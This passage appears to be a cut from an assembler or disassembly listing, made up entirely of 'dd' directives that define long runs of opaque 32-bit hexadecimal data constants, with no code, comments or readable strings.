60EBEBF0h, 8E0C8660h, 962B9572h, 8005AE0Eh dd 0E26E9173h, 859D2AC1h, 0DB635ABBh, 532AFC6h, 38757EFDh dd 0A9CF47FCh, 4DE8D6D3h, 81FB08C6h, 0A004B75Bh, 806D03CCh dd 3ED586Dh, 0DFF70C84h, 0E252FEFCh, 2C74934Fh, 75C9FF08h dd 99DBECB3h, 0D2C57F64h, 0B2DB40A4h, 3AAB5B8Ah, 1C89A013h dd 4E59B1F4h, 80BA7B52h, 43487D5Ah, 908645DFh, 5B033C91h dd 0AE2C329Ah, 0AA541030h, 886DC829h, 16FDAB39h, 0A29F6235h dd 12EA179Bh, 0FF32DD42h, 7BD70D9Fh, 8C336264h, 31FC5E28h dd 4D31CAF7h, 0CC46DFE6h, 0B7649A60h, 59EF56Ah, 684D2C7Dh dd 13D5DA64h, 5D4CF502h, 9D5C89DAh, 0D5D4EA8Eh, 8B78D6B6h dd 10D2A82Ah, 1EC7C31Eh, 85CD93D7h, 3069B458h, 52BFEAE6h dd 0D92D4E86h, 3B9AB54Dh, 0CF5661FDh, 0B1655D9Ch, 0FB1D4BD1h dd 27EC7673h, 0E269486Ah, 0D3D6850Eh, 4CCD87DCh, 0E58A58AEh dd 8062FEB3h, 0F74D4E5Ah, 282DE9DDh, 6064B73Ch, 0EF6450A5h dd 2FDC2233h, 30EE1481h, 60620B43h, 46184C9Dh, 8915E2E6h dd 993D8857h, 0E092C714h, 82E9196Ah, 658585FEh, 0CC4B02C5h dd 2D9D75D7h, 0AEDC8AD6h dd 149A8795h, 0F6021144h, 86561BFDh, 48DB6F41h, 7BBDD9F4h dd 4E6162FEh, 0A08E329Eh, 3DF6D14Ch, 0EC86E34Ch, 0AB122527h dd 0CBE0CD0Ch, 42AF9D5Eh, 0AABD4864h, 0D0CE6022h, 94EE4280h dd 6D6AEB12h, 8D66B222h, 925729ACh, 0ADF29E4Dh, 10521F36h dd 0A2E85FE3h, 48601972h, 0CC1D7FB6h, 0E01913CEh, 1344A895h dd 0F1CCAA68h, 5728E468h, 0C80211A5h, 6D936E8Eh, 0CD8E146Eh dd 0FBAA16F7h, 774A3B74h, 1DF05D71h, 0FFED1C9Ah, 0A426178h dd 8369CCA6h, 4D51263Fh, 0A4497A3h, 0C2D459D1h, 3101477Dh dd 0EF3D5AD1h, 0A1201372h, 0F04EF97h, 8D767C1Bh, 0C53BE542h dd 632739A5h, 0BE62D58Dh, 36ED7349h, 8EE4705Dh, 39BD95AFh dd 0CBB3A782h, 3F8B3C42h, 0AA37C4D2h, 443479A8h, 8BE14CDDh dd 0A7D415A1h, 0AE83AC38h, 0CABF7142h, 91986382h, 63FF5F71h dd 466B0D23h, 569D17D4h, 0C29E26E5h, 1C5948D6h, 3350E29Bh dd 55BE4563h, 8F2FEDCCh, 71676ABCh, 82AA00AEh, 0E60B50BBh dd 0E573F36Bh, 49EB29F1h, 14DDD39Ch, 8D006CEDh, 0ABB53AFEh dd 2BAE990Ch, 73388C3Bh, 17F66D32h, 5CC36CEDh, 5D52FE9Fh dd 0B2C2F547h, 0F34A22B7h, 0E24EBFE8h, 1C3DEB3Fh, 0C6934949h dd 0BCCAF92Fh, 0FA6220B6h, 0DCFF5DBh, 55C4B7C2h, 76268541h dd 0AAA463EBh, 1C8D1257h, 2CD82E20h, 79244B6Ah, 46437B25h dd 345C2AA9h, 8CCF265Dh, 83C8E62Dh, 898EAD28h, 77489660h dd 97E6E549h, 4303B488h, 53AFE284h, 91E176B7h, 7168F368h dd 0FB5FE616h, 4191AD5Dh, 143DBCDh, 0C4203351h, 3C12585h dd 65834E42h, 0B3D46094h, 55004C66h, 0A7279B7Ch, 9DEB8FC3h dd 72A59C34h, 0E03F65CBh, 4485C2C3h, 5BA7087Ch, 7FDDD721h dd 0AB739034h, 2DAB5CB5h, 4640A63h, 8698B3E7h, 0E8156E2Dh dd 28A241CCh, 3BD8ECDBh, 0F3BD3003h, 0B2475532h, 0A5CA72FDh dd 0F856D62h, 0D06CB62Ah, 0CC413E37h, 2FCD3A79h, 0AD4706B3h dd 652138B6h, 833EFBA8h, 0B780EDC3h, 19309DAAh, 0FC0A0FEDh dd 0D20D18D1h, 0AD35F239h, 2297448Dh, 13D36056h, 0C4E63173h dd 0A767A1ACh, 0DC566240h, 9C6757A4h, 0FC526315h, 0CC6FCCB8h dd 7C1053B9h, 0C58165CFh, 0F271E2E8h, 254BB18Fh, 1C3DA7E8h dd 14AAEC3Dh, 0C5EA90ACh, 0FC2D01E7h, 0B431DAA5h, 8018429Eh dd 82901ED5h, 6E9B92D6h, 494862E2h, 0A36DFDFh, 6AB931DDh dd 85098F42h, 0AFF9F2F9h, 8817EB5Bh, 7D7BBC2Ch, 4968C52Fh dd 0B8E98457h, 1993A38Bh, 9B3879E8h, 0C0896B35h, 72445732h dd 98D97897h, 7354FADEh, 7B2B04A0h, 0CA25630Bh, 9E4AA8CBh dd 0B866B4F7h, 4E14287Fh, 0BEB2AC78h, 3EDC06Fh, 0BA9DC4F8h dd 0F86CC9BFh, 9B025791h, 7D9CEA5Ch, 0BC782AD5h, 7F2FE7DAh dd 11474C7Dh, 8F509998h, 72E22D12h, 6EE2229Eh, 0DA3EC108h dd 8483C455h, 4E7AF6A0h, 6B330C36h, 932D4DD7h, 0FE035B26h dd 0C4096C0Bh, 5BF3E2DBh, 0ECB1BC9Eh, 0E4C266B4h, 0EF55A184h dd 6A151F52h, 22A9EED5h, 58A62CC3h, 51524BCh, 0B8D8D9DFh dd 26FF1C16h, 199695F4h, 0F38B2D2Ch, 5A44CA4Eh, 7210962Fh dd 0A79B89DDh, 0B3A39436h, 0C9E035ADh, 8ACDDCDCh, 0BEC92196h dd 697358DCh, 0E36E1A0Bh, 3885B954h, 44ED0E32h, 62E22534h dd 4701766Dh, 0F2574660h, 0BECCC948h, 0DFCB5705h, 4D3D9528h dd 3FE8ED1Bh, 628018CCh, 0D2E0E5C6h, 0DBD419A0h, 0E0955C0Eh dd 0B7DCF718h, 42AAAEEDh, 19D99F72h, 0BA749FACh, 0FEF1D8C1h dd 0C8020DF9h, 0B322A734h, 0E76F0E66h, 0CF17E707h, 2E3C6CF6h dd 13B87213h, 0F08424FCh, 0C502B9CAh, 0F6A800AFh, 98A9BE3Bh dd 6D5D5184h, 0C63155F9h, 0E138FD36h, 9F7781B4h, 15CAB50Ah dd 6A3058ACh, 7D91411Ah, 9E1CDBF8h, 0EC637359h, 34094A60h dd 0BA7FE075h, 76F55A5Eh, 0E088130h, 8C83163Ch, 0BF85B043h dd 4FC1C3E0h, 1D71097Dh, 0F77A7CA7h, 9C73E76h, 0A8AC772Dh dd 6C3CB026h, 67DC8264h, 0C504288Dh, 0EE37C009h, 7CD8B65Ch dd 0BB22D60Ch, 833BE142h, 4805553h, 87BFE689h, 4582DA82h dd 16412777h, 264E301Eh, 335ECD32h, 11B6DC79h, 0E9836B27h dd 1265147Bh, 791DBE93h, 0B3176E86h, 0ED83F20Ch, 4FCAD2AEh dd 0AF885F56h, 1481B8AFh, 0B9F49FB8h, 0FAE8D07Ah, 4DCA0B98h dd 8F39D3BEh, 1EF76DB0h, 0F7CC6330h, 0C3E9962Ah, 62296145h dd 428161ADh, 2B68C696h, 0C81B1189h, 0B7E28DECh, 4ED9ECC6h dd 83A4D231h, 8F264731h, 6846F23Ch, 532F22D5h, 0C0D82210h dd 381F779Eh, 0B19B2903h, 26B16A1h, 332CEFA6h, 0CE8CFF28h dd 9FCBFF6Dh, 0EF24C4D8h, 962A3DACh, 35AED191h, 0BEABDF96h dd 0C93D9E71h, 8747C77Eh, 945EDC0Bh, 9495F6DBh, 71AB101Dh dd 974BB63Dh, 2B21E79Dh, 84FF3B45h, 48797402h, 5583110Ah dd 8F191EA2h, 64E27B93h, 5D28188Ah, 2780C529h, 708D4A30h dd 1D6070D2h, 36BEAD0Fh, 0FFC1E3F4h, 77F3F085h, 24BE21D0h dd 6B6C3C60h, 7B84B755h, 0A4F86AB0h, 0EF5EB47Dh, 0A13483E6h dd 0D920CB32h, 0D56506F9h, 174AD7E6h, 3259E492h, 0C2A63B17h dd 9CB610BFh, 7F07563Ch, 0E81389F8h, 684ED268h, 0FB2F9B2Dh dd 113E6AA3h, 0AFE7E02Bh, 0F5532F4h, 825E00A2h, 0D23F7431h dd 2EC14A91h, 6C3AAC6Ah, 0D92B2C0Dh, 0F786517Dh, 0B2EA4DE4h dd 0E50AE26Fh, 0E8F8794Dh, 0B5C831F5h, 65427268h, 0AA5833B5h dd 61A070D5h, 0BC8B7B07h, 55998AE3h, 0FE9E4301h, 12F3DB41h dd 0DE1DD81Fh, 4E33A101h, 99304F4Ah, 0C9E4E6E3h, 8FB00B09h dd 0DEC0B196h, 5198D45h, 0C0CA2DDEh, 0DF38BDA7h, 34AA4FFFh dd 0D007A490h, 56BAA9C4h, 41441922h, 27FCC7F3h, 986BC596h dd 9BDB28F2h, 0BBEEAE3Dh, 876C2CDBh, 5E8639B9h, 0F1994385h dd 6B227E4Bh, 4A043750h, 0FC8509C0h, 0E6C35825h, 0A3669BFCh dd 5249AC92h, 0CA7A7858h, 0E6769988h, 0F2A06C3Eh, 2422CA93h dd 1AF823DCh, 9099FBC0h, 0D395C8E7h, 9BAAB893h, 0B81D94E5h dd 108136FFh, 760DF0B9h, 792ABDA3h, 5765860Ch, 0FF3A7328h dd 60A3FA9Fh, 0B28A7576h, 93296E98h, 7F8375A0h, 89857A41h dd 463C637Eh, 62DD5ACAh, 6F1CC61Fh, 44EE5CBAh, 1F710A8Ah dd 0DD76582Bh, 5357C065h, 86EBE1A5h, 0A25409D6h, 251173E2h dd 7531B34h, 0D819CE78h, 0DA372B80h, 608E3DF0h, 3324C368h dd 0C75A7645h, 5471F7Dh, 20AD15A5h, 6833D654h, 0A6EBAA10h dd 330D212Fh, 608D695h, 2596AE39h, 0EF939FA6h, 9CBCD120h dd 0E2018049h, 0DB2E5EE3h, 69351F59h, 0BFFCE6FEh, 0F3CB9FB3h dd 433BBB7Ch, 0BC031D43h, 0BD743541h, 29EC5F01h, 3EEC72F5h dd 0E9FB65Eh, 903274ADh, 4EDD85DFh, 8CA23D42h, 7F6337FEh dd 1951A09Bh, 38F06200h, 2AF3881Ah, 1F6049B9h, 0A34182C5h dd 161CC012h, 5399BBDEh, 0D570814Bh, 80C3F919h, 8C22FD68h dd 0DE8087E5h, 595308B3h, 8ECD0B4h, 7348FE47h, 0A217FCBFh dd 3E47A597h, 0EA83663h, 6EB75B0Bh, 0FF4ACFA7h, 3D6435B6h dd 3337509Eh, 96E8965Fh, 8B92AC75h, 33895DD3h, 0C3CC335Eh dd 7ED22B11h, 0AE496497h, 0C6FBD893h, 401F05Ch, 54022154h dd 0D4BA725Fh, 36010C98h, 55DCD936h, 0F8330E5Ah, 11120A7Eh dd 0DD71AE0Bh, 71C75AD4h, 6DE99FF4h, 0AE85ADB4h, 829EB2F5h dd 9C87F7h, 0F9F1222Bh, 5A4EEB1Dh, 6E80D31Ch, 0BED70D91h dd 49459966h, 87A8550h, 3A80175Ah, 0AB368A87h, 0FB315449h dd 723D226Ah, 0B377802Dh dd 8DDD81A6h, 0EBB1F530h, 3B694A74h, 0B5C07F3Ch, 0A7B4D54Eh dd 1899068h, 8D38DF42h, 0AF9E937Dh, 657501A5h, 8BE60A08h dd 0A4645C47h, 0B614D21Ah, 0FFBBA168h, 89C86C7Ah, 41F1C4C4h dd 8D6CB764h, 0A169FA1Ah, 3D5D839Fh, 0B181ED7Fh, 4E7CCE73h dd 130076Dh, 4A73AED6h, 0C31A2A6Bh, 74DE238Ch, 269F1B2Eh dd 47EABDBFh, 84B3DF7Eh, 1962943Fh, 4869824Dh, 8C23C33Eh dd 58E76017h, 7AFB6C7Eh, 439DCE4Dh, 0BB3FEFF2h, 35E9FCB1h dd 0DB403386h, 0D7D50527h, 0C88F14BFh, 0AADF5A57h, 846525AFh dd 6528E8Dh, 4E60A5E4h, 631CCE45h, 0FE215414h, 1CE1F4F1h dd 75432C06h, 0C98098F1h, 2A56323Ch, 76BC9DC4h, 0EC0BF747h dd 0CDD00AE4h, 572864Ah, 3CD9F430h, 61238F1Eh, 0BA4AD292h dd 3C39441Fh, 0BDA0A263h, 10BB1669h, 3E20E4E9h, 0D04EC662h dd 0EBFD22B4h, 0A119171Ch, 0E85BFCDAh, 3BAB42FDh, 49E2523Bh dd 678C0B64h, 0C491F4h, 52025513h, 5B16370Eh, 0F969C4B7h dd 189E287Fh, 0F112AE80h, 6E60A82Fh, 0DE028AC6h, 34AE7E83h dd 0B66F7F1Ch, 0BF0EE5E4h, 182B095Eh, 5ECEB50Ah, 4253D2A2h dd 0EDCE737Eh, 0C7D04C90h, 0E803991Fh, 0B9BF7D2Bh, 94024682h dd 2339B06Ch, 0B20041ECh, 2743FCFFh, 1027319Eh, 3778DFB8h dd 0AC52C7B5h, 42225E32h, 0E2347B13h, 7D1C2F1Bh, 1307B04Ch dd 6C83409h, 0CF80E51Fh, 0ACC0BE4Ah, 3F717Ch, 25A35F7Bh dd 0FCB2E07Dh, 48E9C17h, 50CE1902h, 3C1DAD2Bh, 0E2DBABCBh dd 828FB9B2h, 61DBA504h, 0E200F84Eh, 0AD7A3C7h, 1B1B9665h dd 30400903h, 0C93EE7A0h, 442108A3h, 4DE68D51h, 0C5BB5068h dd 99A4E905h, 0FE27F270h, 15E1849h, 0DCBC4E6h, 8A422D5Fh dd 56436FACh, 0BE5D8B99h, 0FC3A3C61h, 0A211B853h, 83AF174Dh dd 0A6F00C2Bh, 958443C6h, 5F101465h, 1DBFC734h, 940C1214h dd 13400E23h, 0B3D92127h, 0CAAD2DF3h, 0E5F17B58h, 2C1142E1h dd 702560E1h, 29740727h, 0EFDAB149h, 27A50E3Bh, 4D579D91h dd 0D22DCA57h, 0D9925B81h, 1D84D037h, 0EC3BF771h, 8D5035E4h dd 6823A0C9h, 6E564726h, 304FAAEBh, 0B19113E0h, 33AF2FC2h dd 0D09D1D34h, 0EA1BAAFAh, 4101A20Ch, 35864B37h, 355407B6h dd 1285D685h, 0E801073Fh, 7D6AA83Eh, 95314056h, 26FD9A09h dd 0C1F2F29Ah, 97272BB8h, 3C6B70FAh, 7ED97423h, 386A7346h dd 0B5B2E86Ah, 17EB3198h, 99851437h, 0B6A42372h, 0F5C8FD76h dd 7307E696h, 73AAE062h, 5D11A812h, 71A15016h, 0B86AB251h dd 36076A56h, 91D9E505h, 0C5DEA154h, 16BE946Bh, 0E2648A6Eh dd 73F54DFDh, 20F69BF6h, 0E03A9430h, 0E00B9C9Ch, 1EE3FD40h dd 93374FCCh, 0D5D03E0Dh, 0AAD0EA6Ch, 9B26BB7Dh, 0ED8E944Bh dd 2180E0ADh, 14A0A9h, 407748Dh, 0D9E48464h, 320F2417h dd 0A725EBA2h, 2B2D8C27h, 0AC6831B5h, 6D2BF00Ch, 61B5B52Ah dd 5C9CDBBh, 0E697F06Eh, 19D7C2Bh, 6BA19FAh, 0DB0FB2EFh dd 76069CBBh, 0D665E7Eh, 31294993h, 8FF29243h, 0FD224C25h dd 8A8D025Eh, 317FC4F0h, 9E06B55Fh, 0C6CA3149h, 15E04567h dd 8597F1E5h, 0D492B9E2h, 28816B55h, 0B8AA029Ah, 777E5305h dd 254E873Ah, 78E5E12Dh, 51495CF3h, 0C5FECC97h, 0AA53C24Ah dd 0DFA8BE5h, 22059751h, 0C3D20DBEh, 5807A256h, 7DF828C3h dd 7EA0AF1Fh, 5AC0DD96h, 5AA879B2h, 0EB82066Fh, 0DD585832h dd 0D94BC03h, 0A9D84407h, 0D5B02373h, 80F7666Fh, 0EF64BEFEh dd 0D6985ACAh, 0B83F6D53h, 0BE870537h, 0BF24FADDh, 0AE3ABE32h dd 0AF805F5Eh, 8D80DFB6h, 6FEBDA22h, 0B7AF6EE2h, 3C702140h dd 0E170276Ah, 0E4ADD9A9h, 6658FA9Dh, 853E4A3Eh, 0C74363BEh dd 9A043F09h, 7F23E2C3h, 94651DCBh, 2A17CFE1h, 86B09447h dd 0A2B4E582h, 4FB2E97Ch, 83568406h, 42177745h, 0ACB32CB5h dd 5DC248B8h, 570B6A04h, 79E1AF46h, 0CA6258CAh, 0E272C0BDh dd 0B79EACB4h, 0DAA92331h, 9690EA77h, 6B37671Eh, 0C8AE65D7h dd 0C633C9AEh, 0D460A412h, 7D06B854h, 0ADE35812h, 99FB11D1h dd 3ED7FC57h, 747EBC22h, 88AC7DB3h, 44646BBCh, 3A7777A3h dd 8E22CB56h, 9A55F6Fh, 0A68B7BC6h, 0CE98C9D5h, 0DC9C6B55h dd 95BCE0B1h, 174979F9h, 46F0C885h, 48CA8F2Ah, 178B9A0Dh dd 1B084C58h, 0C7ADEF08h, 1FC5E2EDh, 18C4C40Ch, 6D79AFC2h dd 1A72CAEEh, 0D8DA87FFh, 0EF6A3BF4h, 0E8B9275Eh, 0AAA962E2h dd 195BBF32h, 71CBB201h, 6CC76EC4h, 0AEC272A0h, 8EACCF91h dd 0FDB4AB95h, 0E33A9C5Eh, 0D3144B0Fh, 0C450860Bh, 3299734Dh dd 0CC571120h, 4706CE50h, 3552A3C2h, 0F7B5C0D3h, 0AF780244h dd 2A14E5BAh, 61E04D62h, 2C4D6B49h, 0B77913E5h, 54F77E93h dd 41AFAE6Fh, 62A55876h, 772F5D04h, 0A97419EBh, 0B4BD3457h dd 78E4C4CDh, 6500C4CFh, 99827CE6h, 3B56F483h, 75AC56DCh dd 51C4AB89h, 94D1C8E9h, 126F59F8h, 6565D0EBh, 40852BC5h dd 0CF3FDDB8h, 27BCEF6Bh, 0C5E22B1Bh, 725DAB7Ah, 0C402081h dd 755F3F51h, 2F5C7FC1h, 0D3BBEF51h, 29F37DF2h, 0B77E8E21h dd 0A10D27CEh, 0CA6B5935h, 0D388EB15h, 886302F4h, 0E6B5D123h dd 0CEED44A6h, 35FCF191h, 833FB456h, 55120047h, 0EDEAF03Dh dd 0C0E4073Ch, 36C61B0Ch, 6E3E857h, 803344DBh, 31FED695h dd 6B314CE2h, 9CFB5B8Bh, 1C16DC87h, 28341F2Ch, 0D742D5AEh dd 34BAC74Eh, 0D8F4F2Bh, 0A9D38381h, 0C8AD6499h, 35E88ECAh dd 0C55A1831h, 0D6565AC3h, 4F9C7538h, 310F1236h, 6A82451h dd 0EA2D93Ch, 7AB73F1h, 0AB131F24h, 0BCC78930h, 7AF497C2h dd 0A03A4BC8h, 0D93D4F0Ch, 0EB271A74h, 40CCAE10h, 0A936C230h dd 59B5E4CFh, 0EE9C3EE4h, 0A8D1F854h, 435DD606h, 0AE369990h dd 61E80B2h, 13C29D33h, 92531216h, 89A22D45h, 0E70F2581h dd 0B91146A5h, 0A21157D0h, 45EA5357h, 8CA207A8h, 9A929A1Dh dd 0BB5946B5h, 9E447E2Bh, 92B9F3F6h, 17A0DE78h, 1D680369h dd 0BA486562h, 90170C8Dh, 0B04F4C55h, 5B551F59h, 8824F4B4h dd 0DAD5D585h, 2BC8BD5Ch, 54058B6Ah, 585E9690h, 1410DE30h dd 16566EFFh, 13B0D2E0h, 1CC7DE9h, 4440C5F5h, 5BA1B7C4h dd 37D0557Dh, 9FFCB3CCh, 0CD53CBEFh, 2AE0BC41h, 98946226h dd 6E81395Eh, 96F79E3h, 75DBC545h, 2DD997A4h, 63048BB3h dd 0BFAF572Dh, 358AE703h, 8A3EE353h, 0A2A63001h, 980CB047h dd 3ABB0793h, 9A0AF562h, 0D76A179Eh, 0BDD171EEh, 1E006552h dd 0CA6558A1h, 1B7D69EBh, 41B23714h, 66624B60h, 661EB497h dd 823C3823h, 3A32717Dh, 32F6FF7Ah, 4E217903h, 81C2177h dd 0F537BCB9h, 3DD39B1Fh, 10AE9D9Fh, 6FBF3655h, 4BED608Fh dd 15090E1Ch, 7295777Ah, 85C4DC28h, 28597892h, 0D2743476h dd 8BA267A8h, 0F2A15131h, 0C16305ADh, 5A5CBFF4h, 5E3088E6h dd 3434185Dh, 0FE03E6C3h, 6772353h, 36449502h, 3C99C9B0h dd 0B1D4ED59h, 0D011E39Dh, 1015374Ah, 1EE90389h, 77C26B60h dd 327812A5h, 0A1B787F4h, 3ED1EACh, 8C7DAE56h, 32C881D4h dd 31051174h, 0A90F136Ah, 4DD6F372h, 0B66D21C2h, 53ABDF23h dd 37DA3B3Eh, 0DA0F210Ch, 5FDD8F20h, 0B116AC1Ah, 0BE762852h dd 26211B2Ah, 0C47AA9BCh, 0C9A1315Bh, 5210FE93h, 0C1825937h dd 94F1D67Fh, 14145526h, 8FDAFB6Dh, 0BA34A65Dh, 9987F670h dd 97C35227h, 1576A976h, 6A42AFA5h, 0B90D4F29h, 0B4BE07D0h dd 0FE1ADEE1h, 5DC121FEh dd 0AE6EF3B5h, 430770Bh, 14427496h, 0B5BF65D2h, 0DC5383AAh dd 1F566A9Dh, 3304DCBEh, 0A1F43817h, 0AE943926h, 0AB6D69ECh dd 2484D674h, 0AED5B652h, 0BEB6F98Eh, 0FB3D0165h, 0CD86E6F1h dd 0AC7FFADFh, 0FA665876h, 937CB308h, 0B2A2FA6Ch, 354A2BB2h dd 789E3221h, 0C9A87BFFh, 0D18BC1B9h, 680EEB68h, 5563FEB9h dd 0BEE2973Ch, 73DBD278h, 22AB5B95h, 0FA5F9DECh, 0C60E4F3Dh dd 0E1E9AC12h, 1790D74h, 27AEEB4Bh, 0B02A991Bh, 0CDE530C0h dd 388DB070h, 0E5E0A160h, 0AB19DF4Ch, 375FA697h, 0EAD7C3F0h dd 0B2AC2C58h, 48C1470Eh, 0F2D58B55h, 3AD4EFBCh, 35DF6F6Eh dd 1DF91CF1h, 314E8F7h, 0F9856072h, 0C7607F46h, 7BFA9406h dd 0AD9EF900h, 4860E837h, 6A67A2CAh, 0CAC2FC82h, 6944B102h dd 0E3C897C9h, 0A95673A8h, 42D22B21h, 3484C033h, 0F184FF3Bh dd 4B8D6DC9h, 1432F101h, 5BA4F25Bh, 0D5E7F938h, 9EE060D6h dd 0A602207Fh, 0F7F8672Ah, 0DAF5E69h, 0AC1AA60h, 0F154EE07h dd 0D41E22E2h, 7F032F73h, 0E3974BE1h, 9458983h, 0F344C368h dd 74DA659Fh, 5CD92757h, 1FEAACDh, 573C075Dh, 0D444B6ADh dd 0DFFB4C28h, 3ECEB1B0h, 0AB8B841Bh, 4736E574h, 5C511D0Bh dd 432BAC27h, 7F9F79C6h, 2F917503h, 0CEC749E8h, 0C3D79A51h dd 36BEB201h, 0B52D2157h, 0EA59F56h, 0B227C5EBh, 6CC25772h dd 9DA83E08h, 2CC80891h, 0C05EF94Eh, 51352A3Ah, 1CB6D75Ch dd 0C8D03F56h, 3F198FE9h, 0C7BA4254h, 8CEB87D7h, 6C68C314h dd 90871D05h, 4BA6DD57h, 7E1F2975h, 59F10EFEh, 0AB4919B3h dd 96E60122h, 0FC4B21B1h, 0B2F93427h, 7B07E40Ch, 800F0D16h dd 3C1435CAh, 77BF8D48h, 21B1B6ECh, 95D9D9ECh, 0E55D8541h dd 29ECBB71h, 45A07933h, 0A5B4E606h, 0C6687748h, 98EED993h dd 58828C02h, 6367CCB5h, 0CBB2AF91h, 0C723979h, 0B0021043h dd 46D3A808h, 48140187h, 652FC671h, 0C97642CBh, 9219565Eh dd 0A4B901A6h, 0F89E9C99h, 0B20A43DEh, 88F0DDC1h, 2070E2BEh dd 64034D8Bh, 0F4D590B6h, 0D4726F6Eh, 42869449h, 76844B61h dd 76094B54h, 4E5385C5h, 0AE135265h, 767B45D9h, 220F5997h dd 0D2FB8AAh, 0BDE6CD1Bh, 51A3AD4Bh, 0DE6F2A24h, 60613AA9h dd 0BCE02EFAh, 568961C7h, 10CB6E9Ch, 77B8B7E3h, 0B14AEFD8h dd 0EDD1FDF8h, 1D403B04h, 0E1FB4988h, 38824352h, 120D307Fh dd 0C02045BFh, 1EC8FB66h, 3E4AD376h, 0AE3C1F2Fh, 80011EF4h dd 0C0D367B6h, 92DEBC86h, 3D6FB607h, 1C9C268Eh, 0F4D58199h dd 0F654C00Fh, 5AB86EC7h, 9195AC3Ch, 0F8230D22h, 0B5C2B550h dd 24C0F327h, 0A32709E8h, 71E79939h, 0A8572DCCh, 5F1092A6h dd 5B913429h, 61132723h, 9800A5DBh, 862A3DC6h, 17C52608h dd 0A455F9A7h, 0ADDD6794h, 40BE0D4Eh, 0DC999175h, 8EC2AFEDh dd 0C4873104h, 0A79CDCEEh, 0E147CCBh, 5CBCB44Dh, 2FA8E99Ch dd 4FDC740Ah, 24589AEh, 0B6247171h, 0F60D0DCh, 0C81C2508h dd 1AEB0B21h, 56D69763h, 0C095F639h, 0A3B8E4F4h, 15D25E71h dd 940455AAh, 1D7E9154h, 0F7939CF2h, 3FA04066h, 0CF006001h dd 8EB00566h, 579FF104h, 0ABA34A0Ah, 7887D9DBh, 0E1F580FCh dd 4E815566h, 0F3D66885h, 6068D720h, 0E573F963h, 2FBAAF07h dd 83AC32C2h, 9AA90676h, 6C059F77h, 5CDF1E9Eh, 6B7883FAh dd 1436B1Dh, 0D843E5BAh, 99493826h, 2EB1773Ah, 74EDEE81h dd 0DA7F67C3h, 0BBA13AD0h, 0C9D2AA29h, 0FE711C07h, 6CA4EDD4h dd 201E694Dh, 2B05EADFh, 17882853h, 0D7F06E3Dh, 79726941h dd 7EB3BA8Bh, 187F625Ch, 0D49D043Fh, 32EAE424h, 0F6D45069h dd 620EADEEh, 45DFDD23h, 669B601Eh, 0C633D610h, 4D85A54Bh dd 6FBAE768h, 0ECE08980h, 20AF916Ah, 1C9D9351h, 97B2C98Fh dd 83D7D0AAh, 2EFF90Bh, 57A12414h, 8A04A982h, 0D3E1D454h dd 0F920260Eh, 0FD9DEF1Bh, 0DCDA0B4h, 59DACD57h, 45540F5Eh dd 0C1C11553h, 862862C4h, 0A644364Ch, 0C27B30B3h, 0AF097BDBh dd 0F8B4D706h, 1EADC605h, 6FA91C6Fh, 68C364Ah, 3A553CEFh dd 34F0B0E1h, 0E4719658h, 40CD1598h, 0AFFF3F4h, 78D8B60Ah dd 2C7E2263h, 5C9BE818h, 18833995h, 0CAC9268Ah, 0B0EA2C1h dd 2CF7673Eh, 5C5966DBh, 0A8825B14h, 3EE7079Dh, 49D953D8h dd 0BBC11D5Ch, 5D9B3BAh, 0F9AF748h, 64BCE937h, 9A4923Ah dd 0E7E49C8Dh, 0DD701DCBh, 0D7EC690Fh, 0A24BA535h, 75144FD6h dd 2E740DB2h, 0BA00087Eh, 47B75333h, 5E2DCCCEh, 590AA968h dd 0A50FA25Dh, 6AE431CEh, 985E2C0h, 0D2CC9034h, 0A80A8B66h dd 0CEC36688h, 37B331D1h, 4D87C863h, 6CF0BC04h, 0B172CB9Bh dd 98D1E739h, 4967E74Bh, 7ECD0420h, 0D6468114h, 64AF756Eh dd 0A3734009h, 145D7E74h, 0A3990604h, 9A62C48Eh, 0E513DEEFh dd 0E9A52DD4h, 0EC8782B9h, 0EE486971h, 0ADFB2942h, 444A359h dd 77C5CC92h, 7D7F42D5h, 2168F85Ah, 5D64B3C3h, 9BAD8378h dd 822A6128h, 0D5F6F361h, 2C7C6047h, 0E74CD822h, 78082FB8h dd 0F34A40BEh, 545F1A6Ch, 9F6463B2h, 0D8BC6ED9h, 45388Bh dd 0AADD6806h, 134BF268h, 0A6FC4AC7h, 7EA3A634h, 573902A0h dd 8C0EBE42h, 41A4221Bh, 406AE38Ch, 4AC34ECBh, 87AA2C17h dd 43FF260Eh, 8C320638h, 0B95ADB8Ah, 931BCB51h, 0A7A03131h dd 459840F7h, 4E5388D3h, 81210697h, 16F55DEEh, 902EF9C9h dd 6DE84D8Bh, 360DA90Ah, 2ABBC85Ch, 487DB698h, 18708F43h dd 0BDF4400Fh, 31569864h, 5C47C714h, 86BC1739h, 0FE262A25h dd 0C784069Dh, 0B8014954h, 4AFE6D85h, 748E7038h, 5B961B04h dd 0A015596Bh, 0E14193FDh, 526DE8C4h, 2714776Eh, 1025B43Dh dd 8F32234Ah, 0A30592E3h, 3B0C6C6Eh, 270F3E19h, 0C16C812Ah dd 7CBF6733h, 13505FF0h, 7915D0A8h, 0F45C2D71h, 0FC45A568h dd 5C1B9111h, 0A7ADAD95h, 5769F402h, 63DEAC65h, 33F1C829h dd 0BCFCC88Ch, 0BAEC861Bh, 0E49D49A8h, 0EFEB7E84h, 93A9DF45h dd 5A36C519h, 97C09216h, 4E0C7321h, 0CD6A8B7Bh, 2777E48h dd 0FCDCF94Bh, 0DA5AACDEh, 342A1B58h, 0D86BB4Dh, 2EAAC512h dd 0B60DBA1Bh, 83B20735h, 0CCC7EE16h, 0DCB56EC1h, 84EB9A75h dd 46F21410h, 29830399h, 25DA397Bh, 1CFF3595h, 0EE708BACh dd 9325A8E9h, 38B4BA3h, 0D5F33EFAh, 44CB1B73h, 510DD672h dd 688E5B14h, 0A4E8D24h, 9358AC8Fh, 69D72DBAh, 0CF2572C2h dd 991CB07Fh, 67257F25h, 6FB08761h, 0FE035053h, 3F3107B0h dd 172902A0h, 341656B9h, 5489D5E3h, 3E4606E6h, 302C3C08h dd 99D81EE3h, 476BF2E8h, 8D56124Dh, 8FAB54A9h, 0A122031Fh dd 0F298B733h, 0FE57610Eh, 0BFE9668Ah, 53512456h, 0BDA8DA9Eh dd 0E12D6126h, 703EE1C7h, 71C6299Ch, 4CBB7ADEh, 1327F73Fh dd 0A5D931ACh, 0A2893192h, 0BEEFDBFFh, 0E4BAE72Fh, 36BD588Bh dd 0FC648A07h, 19665718h, 0B9CFFC43h, 0E3745664h, 6DA05900h dd 404C28F5h, 0D164B61Ch, 0BF06EFB4h, 0AFAF4ACh, 0E459FBB4h dd 6E099768h, 0FB6BFBB2h, 0E2840FD1h, 0D1FA7C6Ch, 0ACB4B8F1h dd 5328E94Dh, 